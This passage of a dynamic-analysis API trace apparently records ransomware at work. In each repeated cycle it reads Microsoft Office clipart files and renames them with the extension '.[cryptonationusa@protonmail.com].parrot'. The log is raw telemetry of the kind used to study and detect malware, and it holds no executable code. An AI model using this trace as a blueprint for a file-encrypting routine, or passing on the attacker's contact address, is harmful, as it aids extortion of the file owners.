hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.494] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x85b1, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.494] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.516] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8499, lpOverlapped=0x0) returned 1 [0150.520] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.520] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x85b1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.520] CloseHandle (hObject=0x288) returned 1 [0150.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.525] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64b3, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.525] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x639b, lpOverlapped=0x0) returned 1 [0150.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.529] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64b3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.529] CloseHandle (hObject=0x288) returned 1 [0150.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.533] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fa8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.533] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.533] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.534] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.534] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7e90, lpOverlapped=0x0) returned 1 [0150.536] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.538] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fa8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.538] CloseHandle (hObject=0x288) returned 1 [0150.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.543] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8230, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.543] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.543] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.545] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.545] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8118, lpOverlapped=0x0) returned 1 [0150.547] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.548] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8230, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.548] CloseHandle (hObject=0x288) returned 1 [0150.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.552] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6043, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.552] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.554] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f2b, lpOverlapped=0x0) returned 1 [0150.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.558] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6043, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.558] CloseHandle (hObject=0x288) returned 1 [0150.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.562] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8080, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.562] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.563] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7f68, lpOverlapped=0x0) returned 1 [0150.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.566] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8080, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.566] CloseHandle (hObject=0x288) returned 1 [0150.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.571] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51bd, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.571] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.574] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x50a5, lpOverlapped=0x0) returned 1 [0150.575] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.576] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51bd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.576] CloseHandle (hObject=0x288) returned 1 [0150.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.580] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.580] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.580] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.581] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.584] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.584] CloseHandle (hObject=0x288) returned 1 [0150.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.590] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.590] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.633] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6d86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6d86, lpOverlapped=0x0) returned 1 [0150.637] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.638] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.638] CloseHandle (hObject=0x288) returned 1 [0150.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.645] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5f93, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.645] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.645] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.647] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e7b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5e7b, lpOverlapped=0x0) returned 1 [0150.648] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.649] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f93, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.649] CloseHandle (hObject=0x288) returned 1 [0150.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.653] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.653] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.655] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7d84, lpOverlapped=0x0) returned 1 [0150.657] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.658] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.658] CloseHandle (hObject=0x288) returned 1 [0150.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.662] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.666] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0150.666] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.667] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6090, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6090, lpOverlapped=0x0) returned 1 [0150.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.669] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.669] CloseHandle (hObject=0x288) returned 1 [0150.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 